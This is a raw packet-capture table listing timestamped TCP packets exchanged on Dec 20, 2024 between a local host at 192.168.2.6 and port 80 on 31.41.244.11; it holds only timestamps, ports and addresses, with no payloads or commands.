Dec 20, 2024 21:13:30.082393885 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.083343029 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.083434105 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.083482981 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.083482981 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.084564924 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.084676027 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.084815025 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.084815025 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.085733891 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.085864067 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.086040020 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.086040020 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.086946964 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.087022066 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.087040901 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.087148905 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.088047981 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.088124990 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.088138103 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.088274002 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.089242935 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.089344978 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.089633942 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.090413094 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.090487003 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.090516090 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.090564013 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.091620922 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.091661930 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.091675997 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.091799021 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.092770100 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.092869997 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.093126059 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.093126059 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.094024897 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.094116926 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.094213009 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.094213009 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.095124006 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.095184088 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.095246077 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.095246077 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.096343040 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.096407890 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.096473932 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.096600056 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.097479105 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.097662926 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.233086109 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.233148098 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.233233929 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.233233929 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.233488083 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.233546019 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.233573914 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.233661890 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.234709024 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.234817028 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.234869957 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.235065937 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.235797882 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.235985994 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.236145020 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.236145020 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.237026930 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.237096071 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.237159014 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.237411976 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.238296032 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.238362074 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.238382101 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.238495111 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.239339113 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.239448071 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.239492893 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.239582062 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.240519047 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.240648031 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.240665913 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.240767956 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.242189884 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.242274046 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.242486954 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.242554903 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.242988110 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.242999077 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.243047953 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.244028091 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.244131088 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.244159937 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.244229078 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.245256901 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.245356083 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.245381117 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.245440006 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.246370077 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.246474028 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.246484041 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.246603966 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.247720957 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.247806072 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.247859955 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.248122931 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.248754978 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.248878002 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.248898029 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.249003887 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.249926090 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.250005007 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.250125885 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.250125885 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.251112938 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.251223087 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.251260042 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.251322031 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.252305031 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.252408981 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.252475977 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.252528906 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.253757954 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.253885984 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.254966974 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.255009890 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.255022049 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.255028009 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.255161047 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.255161047 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.255773067 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.255855083 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.256066084 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.256194115 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.257023096 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.257113934 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.257164001 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.257244110 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.258228064 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.258389950 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.258451939 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.258451939 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.259387016 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.259454966 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.259566069 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.259641886 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.260565042 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.260693073 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.260721922 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.260744095 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.261753082 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.261858940 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.261882067 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.261996031 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.262988091 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.263113976 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.263201952 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.264156103 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.264298916 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.264353991 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.264425039 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.265275002 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.265387058 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.265393972 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.265551090 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.266477108 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.266547918 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.266585112 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.266629934 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.267618895 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.267679930 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.267693996 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.267750978 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.268913984 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.268965960 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.269081116 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.269294024 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.269973993 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.270071030 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.270071030 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.270262003 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.271172047 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.271248102 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.271322012 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.271373987 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.272356987 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.272402048 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.272504091 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.272547960 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.273546934 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.273660898 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.273679018 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.273875952 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.274650097 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.274735928 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.274791002 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.274847984 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.275955915 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.276000023 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.276154041 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.276232004 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.277040958 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.277124882 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.277154922 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.277211905 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.278305054 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.278428078 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.278441906 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.278472900 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.279469967 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.279552937 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.279588938 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.279686928 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.280553102 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.280637026 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.280708075 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.280816078 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.281735897 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.281795979 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.281841993 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.281936884 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.282912970 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.282959938 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.283041000 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.283133030 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.284138918 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.284220934 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.284261942 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.284327030 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.285322905 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.285382986 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.285418034 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.285684109 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.286447048 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.286554098 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.286595106 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.286771059 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.287607908 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.287715912 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.287781954 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.287853956 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.288757086 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.288897038 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.288938999 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.288938999 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.289983034 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.290081024 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.290101051 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.290144920 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.291150093 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.291224003 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.291254044 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.291351080 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.292278051 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.292339087 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.292376995 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.292439938 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.293512106 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.293632030 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.293658018 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.293684959 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.294586897 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.294672966 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.425062895 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.425097942 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.425348043 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.425348043 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.425551891 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.425662994 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.425781012 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.425848007 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.426709890 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.426780939 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.427031994 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.427862883 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.427947044 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.428231955 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.428318024 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.428325891 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.428545952 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.429430008 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.429517984 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.429541111 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.429672003 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.430634022 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.430737972 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.430747986 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.430821896 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.431952953 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.432030916 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.432061911 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.432113886 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.433020115 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.433088064 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.433245897 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.434092045 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.434209108 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.434393883 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.434425116 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.434478045 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.435461998 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.435476065 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.435545921 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.436523914 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.436602116 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.436638117 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.436681986 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.437722921 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.437877893 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.437879086 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.438071966 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.438832998 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.438937902 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.439006090 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.440012932 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.440133095 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.440287113 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.440567970 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.441199064 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.441282034 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.441292048 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.441409111 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.442399025 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.442473888 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.442498922 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.442547083 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.443583012 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.443667889 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.443706989 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.443794012 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.444703102 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.444781065 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.444866896 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.445035934 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.445907116 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.445982933 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.446017981 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.446122885 CET	49887	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:30.447091103 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.447149992 CET	80	49887	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:30.447205067 CET	49887	80	192.168.2.6	31.41.244.11
